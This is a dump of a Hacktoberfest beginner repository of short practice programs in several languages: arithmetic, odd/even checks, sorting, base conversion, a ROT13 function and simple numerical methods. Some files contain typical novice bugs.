( 4 | "fmt" 5 | ) 6 | 7 | 8 | func main2() { 9 | var num int 10 | fmt.Scanf("%d", &num) 11 | if num % 2 == 0 { 12 | fmt.Println("Even") 13 | } else { 14 | fmt.Println("Odd") 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /JAVA/sorting-programs/readme.md: -------------------------------------------------------------------------------- 1 | Sample Java programs on sorting. 2 | It involves the below implementation sorting algs... 3 | 1. Selectionsort 4 | 2. QuickSort 5 | 3. InsertionSort 6 | 4. BubbleSort 7 | 8 | Contributed by Hari 9 | github : SMHari 10 | -------------------------------------------------------------------------------- /Dart/randomNumber.dart: -------------------------------------------------------------------------------- 1 | import 'dart:math'; 2 | void main() { 3 | var random = new Random(); 4 | print(random.nextBool()); //true or false 5 | print(random.nextInt(75)); // number between 0 - 75 6 | print(random.nextDouble()); // double value 0.0 to 1.0 7 | } 8 | -------------------------------------------------------------------------------- /JAVA/addtwonum.java: -------------------------------------------------------------------------------- 1 | public class AddTwoNumbers { 2 | 3 | public static void main(String[] args) { 4 | 5 | int num1 = 5, num2 = 15, sum; 6 | sum = num1 + num2; 7 | 8 | System.out.println("Sum of these numbers: "+sum); 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /JAVA/lihamfx_HelloWorld.java: -------------------------------------------------------------------------------- 1 | import java.util.*; 2 | 3 | class Lihamfx 4 | { 5 | public static void main(String args[]) 6 | { 7 | System.out.println("Hello, World!"); 8 | System.out.println("Hello, Hacktoberfest Meetup Nepal-2020!"); 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /Javascript/reversing_name.js: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Python/Decimal-to-Binary(octal-Hex)-sachin.py: -------------------------------------------------------------------------------- 1 | # Python program to convert decimal into other number systems 2 | dec = 344 3 | 4 | print("The decimal value of", dec, "is:") 5 | print(bin(dec), "in binary.") 6 | print(oct(dec), "in octal.") 7 | print(hex(dec), "in hexadecimal." 8 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /Javascript/binary-to-decimal.js: -------------------------------------------------------------------------------- 1 | console.log(binarytodecimal(binary)) 2 | 3 | function binarytodecimal(binary) { 4 | var decimal = 0; 5 | binary.split("").reverse().forEach((element, index) => { 6 | decimal += Number(element) * (2 ** index); 7 | }); 8 | return decimal; 9 | } -------------------------------------------------------------------------------- /Python/Duplicate Finder.py: -------------------------------------------------------------------------------- 1 | some_list = ['a', 'b', 'c', 'b', 'd', 'm', 'n', 'n', 'e'] 2 | 3 | duplicates = [] 4 | for value in some_list: 5 | if some_list.count(value) > 1: 6 | if value not in duplicates: 7 | duplicates.append(value) 8 | 9 | print(duplicates) 10 | -------------------------------------------------------------------------------- /Javascript/wahidari_check_number_is_odd_or_even.js: -------------------------------------------------------------------------------- 1 | let number = prompt('Enter a number: ') 2 | check(number) 3 | 4 | function check(number){ 5 | if(number %2 == 0){ 6 | console.log("number is even") 7 | } else { 8 | console.log("number is odd") 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /Python/DhurbaBaral_sumoftwonumbers: -------------------------------------------------------------------------------- 1 | # Store input numbers 2 | num1 = input('Enter first number: ') 3 | num2 = input('Enter second number: ') 4 | 5 | # Add two numbers 6 | sum = float(num1) + float(num2) 7 | 8 | # Display the sum 9 | print('The sum of {0} and {1} is {2}'.format(num1, num2, sum)) 10 | -------------------------------------------------------------------------------- /Python/multiplication_table.py: -------------------------------------------------------------------------------- 1 | n = int(input('Enter the number whose multiplication table u want to print : ')) 2 | m = int(input('Enter upto where u want the table to be printed : ')) 3 | 4 | for i in range(1,m + 1): 5 | product = n * i 6 | print(str(n) + 'X' + str(i) + '=' + str(product) + '\n') 7 | -------------------------------------------------------------------------------- /.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | # Datasource local storage ignored files 5 | /../../../../../../:\Users\gajen\IdeaProjects\Hacktoberfest-Simple-Practice-Programmes\.idea/dataSources/ 6 | /dataSources.local.xml 7 | # Editor-based HTTP Client requests 8 | /httpRequests/ 9 | -------------------------------------------------------------------------------- /C++/CopyString.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | using namespace std; 3 | 4 | int main() 5 | { 6 | string s1, s2; 7 | 8 | cout << "Enter string s1: "; 9 | getline (cin, s1); 10 | 11 | s2 = s1; 12 | 13 | cout << "s1 = "<< s1 << endl; 14 | cout << "s2 = "<< s2; 15 | 16 | return 0; 17 | } 18 | -------------------------------------------------------------------------------- /C/UnitGCD.c: -------------------------------------------------------------------------------- 1 | #include 2 | int main() 3 | { 4 | int T,N,m,n,A[100]; 5 | scanf("%d",&T); 6 | for(m=1; m<=T; m++) 7 | { 8 | scanf("%d",&N); 9 | 10 | for( n=1;n<=N;n++) 11 | { 12 | A[n]=n; 13 | printf("%d",A[n]); 14 | } 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /Javascript/time.js: -------------------------------------------------------------------------------- 1 | 2 | function showTime(){ 3 | var clock = new Date(Date.now()) 4 | var hr = clock.getHours() 5 | var min = clock.getMinutes() 6 | var sec = clock.getSeconds() 7 | console.clear() 8 | console.log(hr+' : '+min+' : '+sec) 9 | setTimeout(showTime,1000) 10 | } 11 | showTime() -------------------------------------------------------------------------------- /C/C add the number_Ankit Adhikari.C: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | #include 4 | int main() 5 | { 6 | int a, b, c; 7 | 8 | printf("Enter two numbers to add\n"); 9 | scanf("%d%d", &b, &c); 10 | 11 | a = b + c; 12 | 13 | printf("Sum of the numbers = %d\n", a); 14 | getch(); 15 | return 0; 16 | } 17 | -------------------------------------------------------------------------------- /C/HalfPyramid.c: -------------------------------------------------------------------------------- 1 | #include 2 | int main() { 3 | int i, j, rows; 4 | printf("Enter the number of rows: "); 5 | scanf("%d", &rows); 6 | for (i = 1; i <= rows; ++i) { 7 | for (j = 1; j <= i; ++j) { 8 | printf("* "); 9 | } 10 | printf("\n"); 11 | } 12 | return 0; 13 | } 14 | -------------------------------------------------------------------------------- /C/NullPointer.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main() 4 | { 5 | printf("\n\n\t\tStudytonight - Best place to learn\n\n\n"); 6 | int *ptr = NULL; // ptr is a NULL pointer 7 | 8 | printf("\n\n The value of ptr is: %x ", ptr); 9 | printf("\n\n\t\t\tCoding is Fun !\n\n\n"); 10 | return 0; 11 | } 12 | -------------------------------------------------------------------------------- /Go/IfElse.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | ) 6 | 7 | 8 | func main() { 9 | var num int 10 | fmt.Scanf("%d", &num) 11 | if num < 18 { 12 | fmt.Println("Lesser than 18") 13 | } else if num < 60 { 14 | fmt.Println("Lesser than 60") 15 | } else { 16 | fmt.Println("More than 60") 17 | } 18 | } -------------------------------------------------------------------------------- /Javascript/Twopill_insert_element_to_array.js: -------------------------------------------------------------------------------- 1 | arrayOfWDYW = []; 2 | 3 | insertElement = (elementToInsert) => { 4 | elementToInsert != null ? arrayOfWDYW.push(elementToInsert) && 5 | arrayOfWDYW.forEach(element => { 6 | console.log(element); 7 | }) : 8 | console.log('bro do u jok me?') 9 | } -------------------------------------------------------------------------------- /Go/go-decimal-to-binary: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import "fmt" 4 | import "strconv" 5 | 6 | //You can use the strconv function to convert from decimal to any numerical system 7 | 8 | func main() { 9 | n := int64(127) 10 | fmt.Println(strconv.FormatInt(n, 2))//Here you choose the base of any numerical system you want 11 | } 12 | -------------------------------------------------------------------------------- /C/Naseeb_OddEven.c: -------------------------------------------------------------------------------- 1 | #include 2 | int main() 3 | { 4 | int num; 5 | printf("Enter any number: "); 6 | scanf("%d", &num); 7 | if(num % 2 == 0) 8 | { 9 | printf("Number is Even."); 10 | } 11 | else 12 | { 13 | printf("Number is Odd."); 14 | } 15 | return 0; 16 | } 17 | -------------------------------------------------------------------------------- /C/TharushaGunasekara_sum2num.c: -------------------------------------------------------------------------------- 1 | #include 2 | int main() 3 | { 4 | int num1, num2, sum; 5 | printf("Enter First Number: "); 6 | scanf("%d", &num1); 7 | printf("Enter Second nnmber: "); 8 | scanf("%d", &num2); 9 | 10 | sum = num1 + num2; 11 | printf("Sum of the Two Entered Numbers: %d", sum); 12 | return 0; 13 | } -------------------------------------------------------------------------------- /Cpp/Bibekdhkl-Helloworld.cpp: -------------------------------------------------------------------------------- 1 | #include//iostream stands for standard input output stream 2 | 3 | using namespace std;//cin cout and alot of other things are defined in standard namespace 4 | 5 | int main(){ 6 | cout<<"Hello World";// cout displays any text inside quotation mark 7 | return 0;//main function has return type integer 8 | } 9 | -------------------------------------------------------------------------------- /C/Reverse.c: -------------------------------------------------------------------------------- 1 | #include 2 | void reverseSentence(); 3 | int main() { 4 | printf("Enter a sentence: "); 5 | reverseSentence(); 6 | return 0; 7 | } 8 | 9 | void reverseSentence() { 10 | char c; 11 | scanf("%c", &c); 12 | if (c != '\n') { 13 | reverseSentence(); 14 | printf("%c", c); 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /Python/odd-even.py: -------------------------------------------------------------------------------- 1 | if __name__=="__main__": 2 | x = int(input()) 3 | if x&1 == 0: 4 | print("Even") 5 | else: 6 | print("Odd") 7 | 8 | 9 | num=int(input("Enter the Number")) 10 | if(num%2)==0: 11 | print("thats an even number".format(num)) 12 | else: 13 | print("thats an even number".format(num)) 14 | 15 | 16 | -------------------------------------------------------------------------------- /.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /C++/EulerMethod/eulerMethod.h: -------------------------------------------------------------------------------- 1 | constexpr double func(const double x, const double y) 2 | { 3 | return 3*x - 2*y; 4 | } 5 | 6 | constexpr double func1(const double x, const double y) 7 | { 8 | return -y * y; 9 | } 10 | 11 | double euler(const double x0, const double y0, const double h, double (*f)(const double, const double), const double e = 0.01); -------------------------------------------------------------------------------- /C/Bibekdhkl-Hello-Program.c: -------------------------------------------------------------------------------- 1 | #include//Here, we have included stdio.h library which provides many standard functions in C 2 | 3 | int main(){ 4 | printf("Hello Hacktoberfest");//Semi-colon is very important in C 5 | return 0;//since the main function has return type integer so the value returned is 0 coz it is a integer 6 | } 7 | //HAPPY CODING 8 | -------------------------------------------------------------------------------- /C/addingtwonumbers: -------------------------------------------------------------------------------- 1 | #include 2 | int main() { 3 | 4 | int number1, number2, sum; 5 | 6 | printf("Enter two integers: "); 7 | scanf("%d %d", &number1, &number2); 8 | 9 | // calculating sum 10 | sum = number1 + number2; 11 | 12 | printf("%d + %d = %d", number1, number2, sum); 13 | return 0; 14 | } 15 | -------------------------------------------------------------------------------- /C++/EulerMethod/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include "eulerMethod.h" 3 | 4 | /** 5 | * Euler method 6 | * Solving differential equations with a given initial value 7 | * Args: Initial value (x0, y0), step size (h), pointer to function, e (default 0.01) 8 | */ 9 | 10 | int main() 11 | { 12 | std::cout << euler(0, 1, 0.1, func1); 13 | return 0; 14 | } -------------------------------------------------------------------------------- /C/Pointer_Arithmetic_Sum.c: -------------------------------------------------------------------------------- 1 | #include 2 | void s(int* a, int len) 3 | { 4 | int i, s_of_arr = 0; 5 | for (i = 0; i < len; i++) 6 | { 7 | s_of_arr = s_of_arr + *(a + i); 8 | } 9 | printf( "sum of array is = %d" ,s_of_arr); 10 | } 11 | int main() { 12 | int arr[] = { 1,2,4,6,7,-5,-3 }; 13 | s(arr, 7); 14 | return 0; 15 | } 16 | -------------------------------------------------------------------------------- /JAVA/Bibek_Uppercase.java: -------------------------------------------------------------------------------- 1 | import java.util.Scanner; 2 | 3 | public class StringManipulation { 4 | public static void main(String[] args) { 5 | Scanner sc = new Scanner(System.in); 6 | System.out.println("Enter Your Name: "); 7 | String name = sc.next(); 8 | System.out.println("HELLO " + name.toUpperCase()); 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /JAVA/Deepak_square.java: -------------------------------------------------------------------------------- 1 | import java.util.*; 2 | public class Solution{ 3 | public static void main(String[] args){ 4 | 5 | Scanner sc = new Scanner(System.in); 6 | 7 | System.out.println("Enter the number.."); 8 | // Taking the input of number 9 | long number = sc.nextLong(); 10 | long res = number * number; 11 | System.out.println(res); 12 | 13 | } 14 | } -------------------------------------------------------------------------------- /Python/magicaljellybeans_insertionsort.py: -------------------------------------------------------------------------------- 1 | list = [8, 16, 5, 2, 1, 9, 13] 2 | 3 | for step in range(1, len(list)): 4 | item = list[step] 5 | shift = step - 1; 6 | while shift >= 0 and item < list[shift]: 7 | list[shift + 1] = list[shift] 8 | shift -= 1 9 | 10 | list[shift + 1] = item 11 | 12 | for item in list: 13 | print item 14 | -------------------------------------------------------------------------------- /Javascript/server.js: -------------------------------------------------------------------------------- 1 | // A simple web server 2 | const express = require('express') 3 | 4 | // initialize express app 5 | const app = express() 6 | 7 | // routes 8 | app.get('/', (req,res) => { 9 | res.send('This is a message from web server') 10 | }) 11 | 12 | // listening to the server 13 | app.listen(8080,()=>{ 14 | console.log('server is running...') 15 | }) 16 | -------------------------------------------------------------------------------- /Python/binary_search.py: -------------------------------------------------------------------------------- 1 | # Gunjan Raj Tiwari 2 | 3 | def binarySearch(l,r,n): 4 | m=(l+r)//2 5 | if arr[m] == n: 6 | print("Found at",m) 7 | return 8 | if l >=m: 9 | return 10 | if arr[m]>n: 11 | binarySearch(l,m,n) 12 | else: 13 | binarySearch(m+1,r,n) 14 | 15 | arr = [1,2,3,4,5,6,7,8,9] 16 | binarySearch(0,len(arr),2) -------------------------------------------------------------------------------- /C++/Odd_Even: -------------------------------------------------------------------------------- 1 | //Write a program to check whether the number is odd or even. 2 | #include 3 | using namespace std; 4 | 5 | int main() 6 | { 7 | int n; 8 | 9 | cout << "Enter an integer: "; 10 | cin >> n; 11 | 12 | if ( n % 2 == 0) 13 | cout << n << " is even."; 14 | else 15 | cout << n << " is odd."; 16 | 17 | return 0; 18 | } 19 | -------------------------------------------------------------------------------- /C/swapString.c: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | void swap(char *str1, char *str2) 4 | { 5 | char *temp = str1; 6 | str1 = str2; 7 | str2 = temp; 8 | } 9 | 10 | int main() 11 | { 12 | char *str1 = "geeks"; 13 | char *str2 = "forgeeks"; 14 | swap(str1, str2); 15 | printf("str1 is %s, str2 is %s", str1, str2); 16 | getchar(); 17 | return 0; 18 | } 19 | -------------------------------------------------------------------------------- /Cpp/Longest_Sum_Contiguous_Subarray.cpp: -------------------------------------------------------------------------------- 1 | using namespace std; 2 | int main() 3 | {int t; 4 | cin>>t; 5 | while(t--) 6 | {int n; 7 | cin>>n; 8 | int a[n]; 9 | int i; 10 | for(i=0;i>a[i]; 12 | int sum=0;int ans=INT_MIN; 13 | for(i=0;i arr[j + 1]: 6 | arr[j], arr[j + 1] = arr[j + 1], arr[j] 7 | 8 | 9 | arr = input().rstrip().split() 10 | bubbleSort(arr) 11 | 12 | print("Sorted array:") 13 | for i in range(len(arr)): 14 | print(int(arr[i]), end=" ") -------------------------------------------------------------------------------- /Python/find_factorial.py: -------------------------------------------------------------------------------- 1 | num=int(input("Enter a number:")) 2 | 3 | def factorial(num): 4 | if num==1: 5 | return num 6 | else: 7 | return num*factorial(num-1) 8 | 9 | if num==0: 10 | print("Factorial of 0 is: 1") 11 | elif num<0: 12 | print("Factorial for negative number cannot be calculated!") 13 | else: 14 | print("Factorial of", num, "is:", factorial(num)) -------------------------------------------------------------------------------- /Others/Quadratic Equation: -------------------------------------------------------------------------------- 1 | # Solve the quadratic equation ax**2 + bx + c = 0 2 | 3 | # import complex math module 4 | import cmath 5 | 6 | a = 1 7 | b = 5 8 | c = 6 9 | 10 | # calculate the discriminant 11 | d = (b**2) - (4*a*c) 12 | 13 | # find two solutions 14 | sol1 = (-b-cmath.sqrt(d))/(2*a) 15 | sol2 = (-b+cmath.sqrt(d))/(2*a) 16 | 17 | print('The solution are {0} and {1}'.format(sol1,sol2)) 18 | -------------------------------------------------------------------------------- /Python/JadooHatesNumbers.py: -------------------------------------------------------------------------------- 1 | # Jadoo hates numbers, but he requires to print a special number "420" to recharge the equation of life. He asks your help to print the number but Since he hates numbers, he asks you to write the program such that there would not be any number in the code. 2 | 3 | 4 | # Write your code here 5 | print(ord('F')+ord('F')+ord('F')+ord('F')+ord('F')+ord('F')) 6 | 7 | # F -> 70 * 6 = 420 -------------------------------------------------------------------------------- /Go/SumOfDigitsNumber.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "fmt" 6 | "os" 7 | "strconv" 8 | ) 9 | 10 | 11 | func main() { 12 | reader := bufio.NewReader(os.Stdin) 13 | n, _ := reader.ReadString('\n') 14 | var sum int = 0 15 | var add int 16 | for i := 0; i < len(n); i++ { 17 | add, _ = strconv.Atoi(string(n[i])) 18 | sum += add 19 | } 20 | fmt.Print("Sum = " + strconv.Itoa(sum)) 21 | } -------------------------------------------------------------------------------- /C++/CombSort/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "combSort.h" 4 | 5 | int main() 6 | { 7 | std::array a = { 7, 3, 5, 4, 5, 9}; 8 | 9 | for (int t : a) 10 | { 11 | std::cout << t << ' '; 12 | } 13 | 14 | combSort(a); 15 | 16 | std::cout << '\n'; 17 | for (int t : a) 18 | { 19 | std::cout << t << ' '; 20 | } 21 | return 0; 22 | } -------------------------------------------------------------------------------- /C++/BisectionMethod/bisectionMethod.h: -------------------------------------------------------------------------------- 1 | 2 | // Example functions 3 | constexpr double func1(const double x) 4 | { 5 | return -(x * x * x) + 3; 6 | } 7 | 8 | constexpr double func2(const double x) 9 | { 10 | return x*x - 4*x + 2; 11 | } 12 | 13 | constexpr double func3(const double x) 14 | { 15 | return x*x*x - x - 2; 16 | } 17 | 18 | double bisection(double a, double b, double (*f)(const double), const double e); -------------------------------------------------------------------------------- /C++/numbers backwards.cpp: -------------------------------------------------------------------------------- 1 | // numbers backward array 2 | #include 3 | using namespace std; 4 | int main() 5 | { 6 | int numbers[5]; 7 | for (int i=0;i<5;i=i+1) 8 | { 9 | cout <<"type in a number"; 10 | cin >>numbers[i]; 11 | } 12 | 13 | //cout << numbers[2]<< endl; 14 | 15 | for (int i=4; i>=0;i=i-1) 16 | { 17 | cout < 2 | #include 3 | 4 | int main(){ 5 | char string[35]; 6 | int i; 7 | 8 | printf("Enter the string:"); 9 | scanf("%s",string); 10 | 11 | for(i=0;i<=strlen(string);i++){ 12 | if(string[i]>=97&&string[i]<=122) { 13 | string[i]=string[i]-32; 14 | } 15 | } 16 | printf("\n String in Upper Case is: %s",string); 17 | return 0; 18 | } 19 | -------------------------------------------------------------------------------- /C/Pyramid.c: -------------------------------------------------------------------------------- 1 | #include 2 | int main() { 3 | int i, space, rows, k = 0; 4 | printf("Enter the number of rows: "); 5 | scanf("%d", &rows); 6 | for (i = 1; i <= rows; ++i, k = 0) { 7 | for (space = 1; space <= rows - i; ++space) { 8 | printf(" "); 9 | } 10 | while (k != 2 * i - 1) { 11 | printf("* "); 12 | ++k; 13 | } 14 | printf("\n"); 15 | } 16 | return 0; 17 | } 18 | -------------------------------------------------------------------------------- /Javascript/wahidari_check_palindrome.js: -------------------------------------------------------------------------------- 1 | function palindrome(str) { 2 | var re = /[\W_]/g; 3 | var lowRegStr = str.toLowerCase().replace(re, ''); 4 | var reverseStr = lowRegStr.split('').reverse().join(''); 5 | return reverseStr === lowRegStr; 6 | } 7 | 8 | result = palindrome("A man, a plan, a canal. Panama"); 9 | 10 | if (result) { 11 | console.log("string is palindrome") 12 | } else { 13 | console.log("string is not palindrome") 14 | } -------------------------------------------------------------------------------- /Python/ZahraShahid_InsertionSort.py: -------------------------------------------------------------------------------- 1 | #Insertion Sort in python 2 | 3 | import numpy as np 4 | 5 | def insertion_sort(A): 6 | length = len(A) 7 | for j in range(1,length): 8 | key = A[j] 9 | i = j-1 10 | while (i >= 0 and A[i] > key): 11 | A[i+1] = A[i] 12 | i=i-1 13 | A[i+1] = key 14 | 15 | 16 | A = [3,5,7,1,2,96,34,57,100,66] 17 | print(A) 18 | insertion_sort(A) 19 | print(A) 20 | 21 | -------------------------------------------------------------------------------- /Python/randika97_BubbleSort.py: -------------------------------------------------------------------------------- 1 | 2 | def bubble_Sort(array): 3 | n = len(array) 4 | for i in range(n-1): 5 | for j in range(0, n-i-1): 6 | if array[j] > array[j+1] : 7 | array[j], array[j+1] = array[j+1], array[j] 8 | array = [30, 38, 14, 1, 42, 99, 9,54,87] 9 | bubble_Sort(array) 10 | 11 | print ("Sorted arrayay using bubble sort:") 12 | for i in range(len(array)): 13 | print ("%d" %array[i]), 14 | -------------------------------------------------------------------------------- /JAVA/Bikram_helloworld.java: -------------------------------------------------------------------------------- 1 | public class HelloWorld { 2 | public static void say(String message) { 3 | System.out.println(message); 4 | } 5 | 6 | public static void sayToPerson(String message, String name) { 7 | System.out.println(name + ", " + message); 8 | } 9 | 10 | public void( String name, String message, int date) 11 | { 12 | System.out.println(date+"/10/2020: "+name+" said "+message); 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /JAVA/Deepak_odd_even.java: -------------------------------------------------------------------------------- 1 | import java.util.*; 2 | public class Solution{ 3 | public static void main(String[] args){ 4 | Scanner sc = new Scanner(System.in); 5 | System.out.println("Enter the number.."); 6 | 7 | // Taking input from user.. 8 | 9 | int number = sc.nextInt(); 10 | 11 | if(number%2==0){ 12 | System.out.println("Even"); 13 | }else{ 14 | System.out.println("Odd"); 15 | } 16 | 17 | } 18 | } -------------------------------------------------------------------------------- /C++/GCD.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | using namespace std; 3 | 4 | int hcf(int n1, int n2); 5 | 6 | int main() 7 | { 8 | int n1, n2; 9 | 10 | cout << "Enter two positive integers: "; 11 | cin >> n1 >> n2; 12 | 13 | cout << "H.C.F of " << n1 << " & " << n2 << " is: " << hcf(n1, n2); 14 | 15 | return 0; 16 | } 17 | 18 | int hcf(int n1, int n2) 19 | { 20 | if (n2 != 0) 21 | return hcf(n2, n1 % n2); 22 | else 23 | return n1; 24 | } 25 | -------------------------------------------------------------------------------- /Python/JadooVsKoba.py: -------------------------------------------------------------------------------- 1 | # Jadoo vs Koba 2 | 3 | # Jadoo, the space alien has challenged Koba to a friendly duel. He asks Koba to write a program to print out all numbers from 70 to 80. Knowing perfectly well how easy the problem is, the Jadoo adds his own twist to the challenge. He asks Koba to write the program without using a single number in his program and also restricts the character limit to 100. 4 | 5 | # Write your code here 6 | for i in 'FGHIJKLMNOP': 7 | print(ord(i)) 8 | -------------------------------------------------------------------------------- /C++/Xhiel23_FibonacciNumbers.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | using namespace std; 4 | 5 | int fibonacciNum(int n){ 6 | if(n == 0){ 7 | return 0; 8 | }else if (n == 1){ 9 | return 1; 10 | }else{ 11 | return fibonacciNum(n-1) + fibonacciNum(n-2); 12 | } 13 | 14 | } 15 | int main(){ 16 | cout << "Which Fibonacci Number do you want? \n"; 17 | int n; 18 | cin >> n; 19 | cout << fibonacciNum(n) << " "; 20 | return 0; 21 | } 22 | 23 | -------------------------------------------------------------------------------- /Javascript/remove_duplicates.js: -------------------------------------------------------------------------------- 1 | // remove duplicate elements in the array and returns the element as a **string**,to return number you have to loop over the object and convert it to number using '+' infront of the element 2 | 3 | const removeDuplicates = (inputArr) => { 4 | let obj = {}; 5 | for (let elem of inputArr) obj[elem] ? obj[elem]++ : (obj[elem] = 1); 6 | return Object.keys(obj); 7 | }; 8 | 9 | // test function 10 | console.log(removeDuplicates([1, 2, 4, 2, 1, 3, 4, 1])); 11 | -------------------------------------------------------------------------------- /C++/CountingSort/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "countingSort.h" 4 | 5 | int main() 6 | { 7 | std::array arr = {1, 2, 3, 1, 0, 5, 9, 8, 2, 4}; 8 | 9 | auto t = countingSort<10, 9>(arr); 10 | 11 | for (int a : arr) 12 | { 13 | std::cout << a << ' '; 14 | } 15 | 16 | std::cout << '\n'; 17 | for (int a : t) 18 | { 19 | std::cout << a << ' '; 20 | } 21 | std::cout << '\n'; 22 | 23 | return 0; 24 | } -------------------------------------------------------------------------------- /C++/bubbleSort.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | using namespace std; 3 | void bubbleSort(int arr[], int n){ 4 | for(int i=0;iarr[j+1]){ 7 | swap(arr[j],arr[j+1]); 8 | } 9 | } 10 | } 11 | } 12 | int main() 13 | { 14 | int a[]={3,2,5,6,4}; 15 | int m=sizeof(a)/sizeof(a[0]); 16 | bubbleSort(a, m); 17 | for(int i=0;i 2 | using namespace std; 3 | 4 | void replaceCharacter(char input[], char c1, char c2) { 5 | 6 | if (input[0]=='\n') return ; 7 | if (input[0]==c1) {input[0]=c2; } 8 | replaceCharacter(input+1,c1,c2); 9 | } 10 | 11 | int main() { 12 | char input[1000000]; 13 | char c1, c2; 14 | cin >> input; 15 | cin >> c1 >> c2; 16 | replaceCharacter(input, c1, c2); 17 | cout << input << endl; 18 | } 19 | -------------------------------------------------------------------------------- /JAVA/Hacktoberfest-Simple-Practice-Programmes.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /Javascript/caeser_cipher.js: -------------------------------------------------------------------------------- 1 | function rot13(str) { 2 | return ( 3 | str 4 | .split("") 5 | .map.call(str, function(char) { 6 | var x = char.charCodeAt(0); 7 | if (x < 65 || x > 90) { 8 | return String.fromCharCode(x); 9 | } 10 | else if (x < 78) { 11 | return String.fromCharCode(x + 13); 12 | } 13 | return String.fromCharCode(x - 13); 14 | }) 15 | .join("") 16 | ); 17 | } 18 | rot13("SERR PBQR PNZC"); -------------------------------------------------------------------------------- /C++/Raising Bacteria.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | using namespace std; 3 | #define IOS ios::sync_with_stdio(0); cin.tie(0); cout.tie(0); 4 | int main(){ 5 | long long int n,t,m,r=0; 6 | cin>>n; 7 | t=n; 8 | while(t>0){ 9 | m=1; 10 | r++; 11 | while(m>=1; 16 | } 17 | t=n-m; 18 | n=t; 19 | } 20 | cout< 2 | using namespace std; 3 | 4 | //using divide and conquer approach 5 | //time complexity:O(logn) 6 | void peak_1d(int arr[],int size){ 7 | int mid=size/2; 8 | if(arr[mid] 2 | using namespace std; 3 | 4 | int binToDec(string s){ 5 | int n = s.size(); 6 | int i = 1; 7 | int ans = 0; 8 | for(int j=n-1; j>=0; j--){ 9 | ans = ans + i*(s[j]-'0'); 10 | i *= 2; 11 | } 12 | return ans; 13 | } 14 | 15 | int main() 16 | { 17 | int n; 18 | string s; 19 | cout<<"Enter Binary number : "; 20 | cin>>s; 21 | cout<<"The decimal value of this number is : "< { 2 | 3 | // Siddharth 4 | // github: siddharth009 5 | // implementation of insertion sort algorithm 6 | 7 | 8 | for(let i = 1; i array[i+1] 10 | array[i], array[i+1] = array[i+1], array[i] 11 | swapped = true 12 | end } 13 | break if not swapped 14 | end 15 | 16 | array 17 | end 18 | 19 | puts "Enter a list of numbers seprated by space" 20 | 21 | list = gets.chomp! 22 | bubble_sort(list) 23 | print list 24 | -------------------------------------------------------------------------------- /C/arr3d.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(){ 4 | float a[20][20][20]; 5 | for(int i=0;i<10;i++){ 6 | for(int j=0;j<10;j++){ 7 | for(int k=0;k<10;k++){ 8 | a[i][j][k]= i + (j/10.0) + (k/100.0) ; 9 | } 10 | } 11 | } 12 | 13 | 14 | for(int i=0;i<10;i++){ 15 | for(int j=0;j<10;j++){ 16 | for(int k=0;k<10;k++){ 17 | printf("%.2f \n",a[i][j][k]); 18 | } 19 | } 20 | } 21 | 22 | return 0; 23 | 24 | } 25 | -------------------------------------------------------------------------------- /Python/scatterplot: -------------------------------------------------------------------------------- 1 | Scatter plots are frequently used in data science and machine learning projects.Scatter plots are used to visualize the relationship between two (or sometimes three) variables in a data set 2 | 3 | import pandas as pd 4 | import matplotlib.pyplot as plt 5 | 6 | #one can load any dataset 7 | 8 | df = pd.read_csv("wheat.csv") 9 | print(df.columns) 10 | 11 | df.plot.scatter(x='area', y='perimeter') 12 | df.plot.scatter(x='groove', y='asymmetry') 13 | df.plot.scatter(x='compactness', y='width') 14 | 15 | plt.show() 16 | -------------------------------------------------------------------------------- /JAVA/BinaryToDecimal.java: -------------------------------------------------------------------------------- 1 | import java.util.Scanner; 2 | 3 | public class BinaryToDecimal { 4 | 5 | public static void main(String[] args) { 6 | 7 | Scanner scanner = new Scanner(System.in); 8 | String binaryString = scanner.next(); 9 | 10 | if (!binaryString.matches("[0-1]+")) { 11 | System.out.println(" Failed Input "); 12 | return; 13 | } 14 | 15 | int decimal=Integer.parseInt(binaryString,2); 16 | System.out.println(decimal); 17 | 18 | 19 | } 20 | 21 | } 22 | -------------------------------------------------------------------------------- /Python/Leapyear.py: -------------------------------------------------------------------------------- 1 | # Python program to check if year is a leap year or not 2 | 3 | year = 2000 4 | 5 | # To get year (integer input) from the user 6 | # year = int(input("Enter a year: ")) 7 | 8 | if (year % 4) == 0: 9 | if (year % 100) == 0: 10 | if (year % 400) == 0: 11 | print("{0} is a leap year".format(year)) 12 | else: 13 | print("{0} is not a leap year".format(year)) 14 | else: 15 | print("{0} is a leap year".format(year)) 16 | else: 17 | print("{0} is not a leap year".format(year)) 18 | -------------------------------------------------------------------------------- /Go/briyoman_insertionsort.go: -------------------------------------------------------------------------------- 1 | package main 